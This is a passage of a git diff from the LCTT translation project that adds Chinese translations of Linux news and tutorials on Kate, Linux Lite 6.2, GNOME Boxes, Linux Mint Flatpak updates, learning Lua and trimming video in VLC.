架构上。阿里巴巴的云计算部门和平头哥芯片子公司一起努力保持开发与最新的安卓版本同步。 + +“我们很高兴看到谷歌对构建针对 RISC-V 的 AOSP 的更多支持!阿里云一直致力于通过一系列的创新来支持 RISC-V 社区的发展,比如将安卓的基本功能移植到 RISC-V 上,这证明了在从多媒体到信号处理、设备互联和人工智能等场景中使用基于 RISC-V 的设备的可行性。”阿里云生态系统总监、RISC-V 国际组织的应用与工具水平委员会副主席 David Chen 博士说:“我们期待着与安卓团队合作,为繁荣的 RISC-V 社区做出贡献。” + +通过增强 RISC-V 上的安卓系统的基本功能,在 2021 年,阿里云的专家们付出了巨大的努力,积极推动了软件生态系统的发展。 RISC-V on Android 的工作集中在 RISC-V Android 工作组和软件库中进行。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/11/the-android-open-source-project-is-now-risc-v-compatible/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/11/android-696x364.jpg diff --git a/published/202211/20221101.4 ⭐️⭐️ Kate Editor is Getting Four New Awesome Features.md b/published/202211/20221101.4 ⭐️⭐️ Kate Editor is Getting Four New Awesome Features.md new file mode 100644 index 0000000000..a7e33280c5 --- /dev/null +++ b/published/202211/20221101.4 ⭐️⭐️ Kate Editor is Getting Four New Awesome Features.md @@ -0,0 +1,106 @@ +[#]: subject: "Kate Editor is Getting Four New Awesome Features" +[#]: via: "https://news.itsfoss.com/kate-editor-22-12-features/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "Cubik65536" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15239-1.html" + +Kate 文本编辑器增加了四个非常棒的新功能 +====== + +> 这个由 KDE 开发的功能丰富的文本编辑器正在变得更好和更有用! + +![Kate 文本编辑器获得了四个非常棒的新功能][1] + +[Kate 文本编辑器][2] 是一个不断发展和强大的开源文本编辑器,它可以作为微软的 Visual Studio Code 应用程序的替代品。 + +它可以在 Linux、Windows 和 macOS 上使用。 + +这个代码编辑器在 2021 年进行了重大升级,这可能使它成为了 KDE 对微软产品的回应。 + +在即将到来的 Kate 和 KWrite 22.12 版本上,他们的目标是添加许多非常有用的功能。 + +来简单看看我们可以从 Kate 中期待什么。 + +### 🆕 Kate Editor 的新增功能 + +如果你读了 [Nate 的博客][3] 了解 KDE 的改进,你可能已经知道了 KDE Plasma 和应用程序即将获得的升级。 + +但是,我想强调一些 Kate 22.12 将会带来的令人激动的新功能: + +- 对 Qt 部件的支持 +- 更新的欢迎页面 +- Git 差异查看器 +- 配置标签页 +- 剪切板历史 + +#### 欢迎页面 + +![kate 22.12 欢迎页面][4] + +和许多其他 [KDE 应用程序][6] 一样,Kate 现在将显示一个欢迎页面,该页面将欢迎用户并显示创建或打开文件、启动新会话、查看最近的文档等选项。 + +对于不喜欢这个页面的用户,欢迎页面上将提供一个选项,以在新窗口上禁用欢迎页面。 + +#### Git 差异查看器 + +![kate 22.12 git 差异支持][6] + +Kate 终于增加了对显示 git-diff 的支持;用户将能够比较他们的代码以检查差异,并找到那些令人讨厌的、会导致他们的应用程序无法正常运行错误。 + +用户也可以从多种视图中进行选择,例如统一视图、并排视图和原始视图。 + +#### 新的剪贴板历史粘贴对话框 + +![kate 22.12 剪贴板历史][7] + +Kate 现在添加了一个新的对话框,在粘贴的时候显示用户剪贴板内容的列表。 + +当你在多行代码之间切换,而又不想丢失重要的内容时,这可能会很有用。 + +#### 配置标签页 + +![kate 22.12 配置标签页][8] + +Kate 也将添加一个配置标签页,让用户可以更改重要的设置,并添加了一个搜索栏,使用户可以快速查找特定的设置。 + +#### 🛠️ 其他变更和改进 + +Kate 22.12 将带来的其他值得注意的改进包括: + +- 优化的状态栏 +- 对构建插件的改进 +- 可移动的侧边栏按钮 +- 对窗口处理的改进 + +Kate 正在成为微软的 [Visual Studio Code][9] 的合适替代品,并且自 2021 年大规模重构以来已经取得了很大的进步。 + +在 Kate 的 [官方博客文章][10] 中,你可以了解更多关于这些变化的信息,并看看它们实际是怎么工作的。 + +💬 你期待 Kate 22.12 的发布吗?还是更喜欢 VS Code? + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/kate-editor-22-12-features/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[Cubik65536](https://github.com/Cubik65536) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/11/kate-4-new-features.jpg +[2]: https://kate-editor.org/ +[3]: https://pointieststick.com +[4]: https://news.itsfoss.com/content/images/2022/11/Kate_22.12_Welcome.png +[5]: https://apps.kde.org/ +[6]: https://news.itsfoss.com/content/images/2022/11/Kate_22.12_GitDiff-1.png +[7]: https://news.itsfoss.com/content/images/2022/11/Kate_22.12_Clipboard_Hist-1.png +[8]: https://news.itsfoss.com/content/images/2022/11/Kate_22.12_Config-1.png +[9]: https://code.visualstudio.com/ +[10]: https://kate-editor.org/post/2022/2022-10-31-treats-for-kate/ diff --git a/published/202211/20221101.5 ⭐️ Linux Lite 6.2 Released.md b/published/202211/20221101.5 ⭐️ Linux Lite 6.2 Released.md new file mode 100644 index 0000000000..41d9e03f2f --- /dev/null +++ b/published/202211/20221101.5 ⭐️ Linux Lite 6.2 Released.md @@ -0,0 +1,108 @@ +[#]: subject: "Linux Lite 6.2 Released" +[#]: via: "https://news.itsfoss.com/linux-lite-6-2-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15212-1.html" + +Linux Lite 6.2 发布 +====== + +> Linux Lite 6.2 是一个理想的升级,带来一些有用的变化,没什么太花哨的东西。 + +![Linux Lite 6.2 Released][1] + +Linux Lite 是一种流行的轻量级的类 Windows 发行版,为用户提供了一个熟悉的操作系统感受。 + +最新版本 Linux Lite 6.2 基于 Ubuntu 22.04 LTS,对 UI 进行了各种更改以及各种错误的修复。 + +### Linux Lite 6.2:有什么新功能? + +![linux lite 6.2 desktop][2] + +此版本的 Linux Lite 侧重于用户界面调整和错误修复,并对一些应用程序进行了更改。 + +一些主要亮点包括: + +- 更新的图标 +- 新壁纸 +- Shotcut 视频编辑器 +- 删除微软 Teams +- LibreOffice 7.3.6.2 +- Linux 内核 5.15 + +#### Shotcut 取代 OpenShot + +![linux lite 6.2 shotcut video editor][3] + +是的,[Shotcut][4] 现在取代了 [OpenShot][5],成为 Linux Lite 6.2 上的默认视频编辑器。 + +OpenShot 之所以被删除,是因为它不能很好地与 Ubuntu 22.04 配合使用,而如果没有一个好用的视频编辑器,用户将不得不自己寻找一个。 + +Shotcut 无疑是一款出色的视频编辑器。所以,应该是一个不错的选择。 + +#### 微软 Teams 已删除 + +另一个重大变化是微软 Teams 不再包含在发行版中。 + +其原因是微软停止了 Linux 应用程序,转而支持一个渐进式 Web 应用程序版本。 + +我们之前的报道可以让你更深入地了解: + +> **[微软决定放弃 Teams 的 Linux 应用,代之以渐进式Web应用](https://news.itsfoss.com/microsoft-linux-app-retire/)** + +#### 更新的图标和新壁纸 + +![linux lite 6.2 new wallpapers][6] + +Linux Lite 6.2 具有最新的 [Papirus][7] 图标集以及一系列新的 Linux Lite 主题壁纸。 + +这应该会给发行版带来用户可能喜欢的焕然一新的外观。 + +#### 🛠️ 其他更改和改进 + +![][8] + +其他值得注意的变化包括: + +- 任务管理器的更新 +- 改进了 Lite 升级应用程序中的结束对话。 +- 各种应用程序的最新更新、错误修复等。 + +你可以阅读完整的发行说明以 [了解更多信息][9]。 + +Linux Lite 6.2 看起来是对以前版本的令人满意的升级,有许多重大的变化和补充。 + +### 📥 下载 Linux Lite 6.2 + +你可以从其官方网站下载最新的 ISO 或使用 Lite 升级工具升级到它。 + +> [Linux Lite 6.2][10] + +💬 你如何看待 Linux Lite 6.2?愿意试一试吗? + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/linux-lite-6-2-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/linux-lite-6.2.png +[2]: https://news.itsfoss.com/content/images/2022/10/Linux_Lite_6.2_Desktop.png +[3]: https://news.itsfoss.com/content/images/2022/10/Linux_Lite_6.2_Shotcut.png +[4]: https://shotcut.org/ +[5]: https://www.openshot.org/ +[6]: https://news.itsfoss.com/content/images/2022/10/Linux_Lite_6.2_Wallpapers.png +[7]: https://github.com/PapirusDevelopmentTeam/papirus-icon-theme +[8]: https://news.itsfoss.com/content/images/2022/11/lite-upgrade.png +[9]: https://www.linuxliteos.com/forums/release-announcements/linux-lite-6-2-final-released/ +[10]: https://www.linuxliteos.com/download.php diff --git a/published/202211/20221101.7 ⭐️ Move Virtual Machine Image to Another Host Using GNOME Boxes.md b/published/202211/20221101.7 ⭐️ Move Virtual Machine Image to Another Host Using GNOME Boxes.md new file mode 100644 index 0000000000..c1f96d1ad9 --- /dev/null +++ b/published/202211/20221101.7 ⭐️ Move Virtual Machine Image to Another Host Using GNOME Boxes.md @@ -0,0 +1,86 @@ +[#]: subject: "Move Virtual Machine Image to Another Host Using GNOME Boxes" +[#]: via: "https://www.debugpoint.com/move-virtual-machine-image-another-host/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15244-1.html" + +使用 GNOME Boxes 将虚拟机镜像移动到另一台主机 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/12/113707ewb6ope663w86e5e.jpg) + +> 本指南介绍了使用 GNOME Boxes 将虚拟机镜像移动到另一台主机所需的步骤。 + +GNOME Boxes 是由 GNOME 项目创建的虚拟化程序。此程序用作 libvirt 的前端。libvirt 是用于管理平台虚拟化的开源 API、守护进程和管理工具。它支持不同的虚拟化技术,如 KVM、Xen、VMware ESXi、QEMU 等。 + +如果你想使用 GNOME Boxes 创建虚拟机,[请参阅本指南][1]。 + +在本教程中,我将解释如何将任何虚拟机镜像文件(已使用 GNOME Boxes 创建并运行)移动到不同的主机并运行它。 + +这样,你不再需要从操作系统重新安装虚拟机。此外,它是便携式的,你可以将虚拟机镜像放在 U 盘中。 + +### 如何使用 GNOME Boxes 将虚拟机镜像移动到另一台主机 + +我希望你已经在 GNOME Boxes 中创建了一个虚拟机。如果没有,请查看 [本指南][1]。 + +GNOME Boxes 和 [libvert][2] 使用以下目录存储虚拟机镜像和配置。如下所述,你需要仔细备份每个文件。 + +GNOME Boxes 将虚拟机的物理镜像(通常为数 GB 大小)保存在以下路径中。对于你的每个虚拟机,你都会在其中找到一个镜像。 + +``` +~/.local/share/gnome-boxes/images/ +``` + +![机器镜像][3] + +将图像文件复制到新主机的路径:`~/.local/share/gnome-boxes/images/`。 + +将 libvirt 的 XML 配置从以下路径复制到新主机的相同位置。 + +``` +~/.config/libvirt/qemu/ +``` + +![镜像 XML][4] + +在上述路径中,你应该会看到每个虚拟机的单独 xml 文件。复制你需要的那个。 + +在你当前的系统中打开以下文件。 + +``` +~/.config/gnome-boxes/sources/'QEMU Session' +``` + +复制属于你的虚拟机的部分(从 `[display` ... 到本部分的末尾)。你可以使用名称轻松找到它(看下面的 `last-seen-name`)。 + +![QEMU 会话文件][5] + +在另一台主机上打开相同的上述文件并将复制的内容附加到末尾。保存文件。 + +关闭新主机中的所有应用,包括 GNOME Boxes。 + +现在打开 GNOME Boxes,你应该会看到你的虚拟机和它的内容一起被移动到新主机中。 + +你现在可以拥有一个可以轻松携带和移动的便携式虚拟机。请记住,目标机器应该安装了 GNOME Boxes 才能完成这项工作。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/move-virtual-machine-image-another-host/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/2020/05/install-use-gnome-boxes/ +[2]: https://libvirt.org/ +[3]: https://www.debugpoint.com/wp-content/uploads/2020/06/Machine-Images.png +[4]: https://www.debugpoint.com/wp-content/uploads/2020/06/Image-XML.png +[5]: https://www.debugpoint.com/wp-content/uploads/2020/06/QEMU-Session-File.png diff --git a/published/202211/20221102.1 ⭐️ Linux Mint's Update Manager Now Supports Flatpak.md b/published/202211/20221102.1 ⭐️ Linux Mint's Update Manager Now Supports Flatpak.md new file mode 100644 index 0000000000..c961b20f61 --- /dev/null +++ b/published/202211/20221102.1 ⭐️ Linux Mint's Update Manager Now Supports Flatpak.md @@ -0,0 +1,92 @@ +[#]: subject: "Linux Mint's Update Manager Now Supports Flatpak" +[#]: via: "https://news.itsfoss.com/linux-mint-update-manager/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "qfzy1233" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15257-1.html" + +Linux Mint 的更新管理器现在支持 Flatpak +====== + +> Linux Mint 的更新管理器变得更有用了! + +![Linux Mint's Update Manager Now Supports Flatpak][1] + +Linux Mint 的更新管理器是该发行版的一个重要组成部分,它使新用户可以获得更为方便简易的体验。 + +最近的一次更新 Linux Mint 21 推出了许多改进,包括更新管理器对 Flatpak 的支持。 + +**你只需要更新你的系统就可以获得这些改进。** + +### ⭐ 更新管理器中支持 Flatpak + +![linux mint 21 flatpak support in update manager][2] + +是的,你没看错。这终于实现了。 + +Flatpak 支持已被添加到更新管理器中,用户只需单击几下就能更新 Flatpak 应用程序和运行时。 + +这将为进一步改善用户体验的统一更新体验提供了帮助。 + +这对新用户来说很有好处,他们不需要熟悉终端命令就能更新 Flatpak。此外,你不需要将 Flatpak 与软件中心集成(对于 GNOME 而言)。 + +换句话说,Linux Mint 团队增强了你使用 Flatpak 应用程序的体验。 + +**除了对 Flatpak 的支持,本次更新还包括对 Linux Mint 21 的更多增强,这是一个开箱即用的更新。** + +这些改进包括: + +### 对角栏的改进 + +![linux mint 21 updated corner bar][3] + +Linux Mint 21 中的 角栏Corner Bar 添加了两项新特性: + +- 能够在角栏设置左键点击和中键点击的动作;你可以配置它以显示桌面、工作区选择器或桌面。 +- 一个允许你将鼠标悬停在角栏上以显示桌面的新选项。 + +### Nemo 的更新 + +![linux mint 21 updated nemo file manager][4] + +Nemo 文件管理器做了一些调整;现在,当文件被选中时,只会高亮显示文件名,而不是图标和文件名。 + +**如果你还不知道**, 你也可以通过我们建议的一些调整来增强 Nemo 文件管理器的体验: + +> **[调整 Linux 中的 Nemo 文件管理器,让它更好用的 15 种方法](https://itsfoss.com/nemo-tweaks/)** + +此外,桌面图标被垂直翻转,桌面上下文菜单中添加了一个新的快捷方式,可以快速打开显示设置。 + +### 更少的密码提示 + +这是很多人可能喜欢的另一个用户体验调整。 + +当删除 Flatpak 或任何快捷方式或本地应用程序时,它将不再要求你输入密码。 + +类似地,在新立得(LCTT 译注:Linux 下的一个包管理工具)和更新管理器的情况下,将使用 pkexec 来记住密码。 + +这样,用户就不需要每次执行多个操作时都输入密码。 + +你可以浏览 [Linux Mint 月度博客][5] 以了解其它变化。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/linux-mint-update-manager/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[qfzy1233](https://github.com/qfzy1233) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/11/mint-updater-tool-flatpak-support.png +[2]: https://news.itsfoss.com/content/images/2022/11/Linux_Mint_21_UM_FlatpakSupport.png +[3]: https://news.itsfoss.com/content/images/2022/11/Linux_Mint_21_CornerBar_Update.png +[4]: https://news.itsfoss.com/content/images/2022/11/Linux_Mint_21_Nemo_Updates.png +[5]: https://blog.linuxmint.com/?p=4424 +[6]: https://debugpointnews.com/linux-mint-update-flatpak/ diff --git a/published/202211/20221103.0 ⭐️⭐️ Is Lua worth learning.md b/published/202211/20221103.0 ⭐️⭐️ Is Lua worth learning.md new file mode 100644 index 0000000000..705e1d3780 --- /dev/null +++ b/published/202211/20221103.0 ⭐️⭐️ Is Lua worth learning.md @@ -0,0 +1,194 @@ +[#]: subject: "Is Lua worth learning?" +[#]: via: "https://opensource.com/article/22/11/lua-worth-learning" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "MuggleWei" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15243-1.html" + +Lua 值得学习吗? +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/12/111937y0kior1oyf44tttt.jpg) + +> Lua 是一个有趣而强大的语言,随着各个版本的推进,功能愈发的强大,开发者群体也在不断的增长。这篇文章我们将探索一下它的各种前景。 + +Lua 是一个脚本语言,它面向过程、函数式编程,甚至可以是 [面向对象的][1]。它使用类 C 语言的语法,但却是动态类型,具有自动内存管理和垃圾回收功能,使用基于寄存器的虚拟机来解释字节码。这些特点使得它对于初学者来说是个很好的语言,同时也是经验丰富的程序员的强大工具。 + +虽然与 [Python][2] 和 [JavaScript][3] 相比,Lua 现在已经有点儿黯然失色了,但是 Lua 拥有的一些优点使得它在许多的重大软件项目中很受欢迎。Lua 很容易嵌入到其他语言当中, 这意味着你可以在(例如)Java 编写的代码中包含 Lua 文件,就像原生的 Java 代码一样运行。这听起来就像魔法一般,现在有许多项目如 [luaj][4] 使得其成为可能,之所以可以实现,正是因为 Lua 就是为此而设计的。部分出于这种灵活性,你可以在许多游戏、图形应用的程序中发现 Lua 脚本的身影。 + +就像其他任何事情一样,做到完美是需要时间的,但 Lua 是很易于学习(并且有趣)的语言。它是一种一致的语言、一种带有有用的错误消息的友好的语言,并且可以在网上轻松找到许多有用的资料。那么就让我们开始吧! + +### 安装 Lua + +在 Linux 下,你可以使用发行版自带的包管理来安装 Lua。例如,在 Fedora、CentOS、 Mageia、OpenMandriva 以及类似发行版中: + +``` +$ sudo dnf install lua +``` + +在 Debian 以及基于 Debian 的系统中: + +``` +$ sudo apt install lua +``` + +对于 Mac,你可以使用 [MacPorts][5] 或者 [Homebrew][6]: + +``` +$ sudo port install lua +``` + +对于 Windows,可以使用 [Chocolatey][7] 安装 Lua。 + +完成安装后,可以在终端中输入 `lua` 来在交互式解释器中使用 Lua。 + +### 函数 + +如许多编程语言一样,Lua 的语法通常是一个内建的函数或关键字,后面跟着参数。例如,`print` 函数显示你传给它的所有参数。 + +``` +$ lua +Lua 5.4.2 Copyright (C) 1994-2020 Lua.org,PUC-Rio + +> print('hello') +hello +``` + +Lua 的 `string` 库可以操作单词(在编程中称为“字符串”)。例如,要统计字符串中的字母数量,你可以使用 `string` 库中 `len` 函数: + +``` +> string.len('hello') +5 +``` + +### 变量 + +变量允许你在计算机内存中为临时的数据创建一个指定的空间。Lua 中创建变量的方法是赋予变量一个名字,接着将数据放入其中。 + +``` +> foo = "hello world" +> print(foo) +hello world +> bar = 1+2 +> print(bar) +3 +``` + +### 表 + +在编程中,数组的使用频率仅次于变量。“数组”这个词的字面意思就是一种排列,而这就是程序中数组的意义了。它是数据的一种排列,因为有排列,所有数组具有结构化的优势。本质上,数组通常用于和变量相同的目的,只不过数组会给对其中的数据进行排序。在 Lua 中,数组被称为“表”。(LCTT 译注:使用过其它编程语言的同学可以发现,Lua 的表相当于其它语言中的关联数组、哈希。) + +创建表和创建变量类似,区别仅在于它的初始化内容被设置为 `{}`: + +``` +> mytable = {} +``` + +当往表中增加数据时,它就如同创建变量一样,区别在于这里的变量之前总是以表名开头,中间使用 `.` 来连接: + +``` +> mytable.foo = "hello world" +> mytable.bar = 1+2 +> print(mytable.foo) +hello world +> print(mytable.bar) +3 +``` + +### 使用 Lua 编写脚本 + +在终端交互环境中运行 Lua 可以得到良好的反馈,但是将 Lua 作为脚本运行会更为有用。Lua 脚本就是包含 Lua 代码的文本文件,Lua 命令可以解析并执行此文件。 + +在刚刚开始学习一门编程语言时,一个永恒的问题是你怎么知道该写什么。这篇文章将提供一个不错的开端,截至目前,你仅知道了两三个 Lua 函数。懂得查阅文档是很关键的。Lua 并不是一个复杂的语言,可以通过 [Lua 文档网站][8] 很方便的获取关键字以及函数的用法。 + +下面是一个练习题。 + +假设你想编写一个 Lua 脚本来统计句子中的单词数量。与众多的编程挑战一样,有许多方法可以解决这个问题,假设你在 Lua 文档中找到的第一个相关的函数是 `string.gmatch`,此函数可以搜索字符串中的特定字符。单词通常通过空格分隔开来,所以你决定计算空格数并加 1 来作为单词的数量。 + +下面是实现的代码: + +``` +function wc(words,delimiter) + count=1 + for w in string.gmatch(words,delimiter) do + count = count + 1 + end + + return count +end +``` + +下面是这个样例代码的解释: + +- `function`:这是声明函数开始的关键字。自定义函数的工作方式与内置函数(如 `print` 和 `string.len`)基本相同。 +- `words` 和 `delimiter`:这是函数运行所需的参数。正如 `print('hello')` 当中,`hello` 是一个参数。 +- `counter`:一个变量,且被初始化为 `1`。 +- `for`:在循环中使用 `string.gmatch` 作为迭代器遍历 `words`,并且在其中搜索`delimiter`。 +- `count = count + 1`:当搜索到了 `delimiter`,则对 `count` 进行自增 1 的操作。 +- `end`:`for` 循环的结束关键字。 +- `return count`:这个函数输出(或返回)`count` 变量的内容。 +- `end`:函数结束的关键字。 + +现在你已经创建了一个函数,你可以使用它。需要记住,函数不会自动运行,而是等待你在代码中调用它。 + +将下面的代码写入文件并保存为 `words.lua`: + +``` +function wc(words,delimiter) + count=1 + for w in string.gmatch(words,delimiter) do + count = count + 1 + end + return count +end + +result = wc('zombie apocalypse',' ') +print(result) + +result = wc('ice cream sandwich',' ') +print(result) + +result = wc('can you find the bug? ',' ') +print(result) +``` + +你现在创建了一个 Lua 脚本。你可以使用 Lua 运行它。随后你会发现统计单词的结果有些问题: + +``` +$ lua ./words.lua +2 +3 +6 +``` + +你也许已经注意到了最后一个句子的单词统计不正确,因为在句子的最后带有一个额外的空格。Lua正确的检测到了空格,并将其计入 `count` 中,但是单子的统计是错误的,因为有个空格并没有作为单词的分隔出现。我把这个问题留给你来解决,或者去发现其他方法,即使方法不太理想。编程中有很多需要思考的地方。有时是纯粹学术性的思考,有时也许是应用是否运训正常的思考。 + +### 学习 Lua + +Lua 是一个有趣且强大的语言,随着版本的推进,功能愈发的强大,开发者群体也在不断的增长。你可以将 Lua 作为实用性的个人脚本使用,或者在工作中使用,或者仅仅是体验一下一个新的语言。尝试一下,看看 Lua 能给你带来什么吧。 + +(LCTT 译注:顺便问一句,你知道 “Lua” 怎么发音吗? 🤣) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/lua-worth-learning + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[MuggleWei](https://github.com/MuggleWei) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/22/10/object-oriented-lua%20 +[2]: https://opensource.com/resources/python +[3]: https://opensource.com/article/22/9/javascript-glossary +[4]: https://github.com/luaj/luaj +[5]: https://opensource.com/article/20/11/macports +[6]: https://opensource.com/article/20/6/homebrew-linux +[7]: https://opensource.com/article/20/3/chocolatey +[8]: http://www.lua.org/docs.html diff --git a/published/202211/20221103.2 ⭐️⭐️ How to Trim a Video in VLC Player [If You Really Want to].md b/published/202211/20221103.2 ⭐️⭐️ How to Trim a Video in VLC Player [If You Really Want to].md new file mode 100644 index 0000000000..229b9304a6 --- /dev/null +++ b/published/202211/20221103.2 ⭐️⭐️ How to Trim a Video in VLC Player [If You Really Want to].md @@ -0,0 +1,134 @@ +[#]: subject: "How to Trim a Video in VLC Player [If You Really Want to]" +[#]: via: "https://itsfoss.com/vlc-trim-video/" +[#]: author: "Sreenath https://itsfoss.com/author/sreenath/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15241-1.html" + +如何在 VLC 播放器中裁剪视频 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/11/153202yhomxyc1ysuq57x1.jpg) + +VLC 媒体播放器是 [最好的媒体播放器][1] 之一。这款跨平台播放器功能丰富,可以播放任何可用的媒体格式。 + +你会惊讶地发现 VLC 不仅仅是一个视频播放器。它可以对你的媒体文件做很多事情。 + +我们分享过 [使用 VLC 下载 YouTube 视频][2] 的 [VLC 技巧][3]。 + +让我再和你分享一个。用 VLC 裁剪视频怎么样?这不是 [裁剪视频][4] 的最佳方式,但它可以作为一个选择使用。 + +### 使用 VLC 裁剪视频 + +在 VLC 中裁剪视频本质上意味着从所需部分的开头到结尾录制视频。默认情况下,录制控制工具通常在 VLC 面板中不可见。 + +让我详细介绍一下步骤。 + +#### 步骤 1:启用高级控件 + +要获取控件,你需要使其在主控制面板上可见。 + +首先选择“视图View”选项,然后选中“高级控件Advanced Controls”复选框。现在,如截图所示,出现了带有几个按钮的新控件行。 + +![在 vlc 播放器中启用高级控件视图][5] + +#### 步骤 2:打开视频 + +为了裁剪视频,你需要在 VLC 中打开它。你可以通过“媒体Media > 打开文件Open File”在 VLC 播放器中打开视频: + +![通过 vlc 文件菜单打开媒体文件][6] + +或者你可以使用 Nautilus 文件管理器中的 VLC 打开视频文件: + +![使用 nautilus 文件管理器中的 vlc 播放器打开媒体文件][7] + +#### 步骤 3:使用 VLC 的录制功能裁剪视频 + +打开视频文件后,将时间线设置为所需输出的起点并暂停视频。之后,按“录制”按钮并播放视频。 + +![在起点暂停,按录制键开始录制][8] + +当达到所需输出的终点时,暂停视频并再次按下“录制”按钮停止录制。 + +![在终点暂停并按下录制][9] + +这应该将裁剪后的输出保存到你的 `~/Videos` 目录中。 + +![nautilus 文件管理器中的原始和裁剪后文件][10] + +### 故障排除:无法识别的输出文件 + +VLC 以 .ts 文件格式录制视频。这在 VLC 中受支持,你可以根据需要使用它。但是 Ubuntu 中的许多其他播放器,包括本地视频播放器,都无法识别该格式。因此,在这种情况下,有两种解决方案。 + +#### Gnome-Video 提示安装 GStreamer 包 + +当你尝试打开文件时,GNOME-Videos 会提示错误并建议安装 Gstreamer 多媒体编解码器。 + +![转换后的视频在 gnome 视频播放器中显示播放错误][11] + +你可以点击上图所示的 “在 Ubuntu 软件应用中查找Find in Ubuntu Software” 按钮,这将打开 Ubuntu 软件中心。你可以在那里安装所需的编解码器包。 + +![根据 GNOME 视频播放器的提示从软件中心安装 gstreamer][12] + +同样安装 Gnome-videos 并使用它打开视频将解决问题。 + +#### 使用 VLC 转换视频文件 + +如果你不想为此安装任何额外的软件包,你可以使用 VLC 本身将 .ts 文件转换为 mp4 格式以在任何其他播放器中播放。 + +为此,打开 VLC 并在“媒体Media”菜单下选择“转换/保存Conver/Save”选项。 + +![从媒体菜单中选择转换][13] + +现在,使用“添加Add”按钮提供需要转换的文件的位置,然后选择“转换/保存Conver/Save”,如截图所示。 + +![在媒体转换对话框中选择要转换的文件][14] + +选择所需的输出配置(MP4)并为输出设置文件名,然后按“开始Start”。 + +![在 vlc 媒体转换菜单中设置转换配置和输出文件名][15] + +这将开始转换,并根据源的时长决定转换时间。完成后,你可以从 `~/Videos` 目录访问转换后的输出。 + +![nautilus 文件管理器中的原始裁剪和转换文件][16] + +### 总结 + +虽然确实可以使用 VLC 播放器来裁剪视频,但整个过程与专门的 [视频编辑器][17] 完全不同。 + +最大的问题是你需要观看所有裁剪部分才能完成裁剪,如果你要裁剪跨越数分钟的视频的一大部分,这就不方便了。 + +无论如何,这个很酷的功能在某些情况下可能是一个方便的工具,比如你想要的只是裁剪一个特定的小剪辑或从电影场景中制作一个 Gif。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/vlc-trim-video/ + +作者:[Sreenath][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sreenath/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/video-players-linux/ +[2]: https://itsfoss.com/download-youtube-videos-vlc/ +[3]: https://itsfoss.com/simple-vlc-tips/ +[4]: https://itsfoss.com/video-trimmer/ +[5]: https://itsfoss.com/wp-content/uploads/2022/11/enable-advanced-controls-view-in-vlc-player.png +[6]: 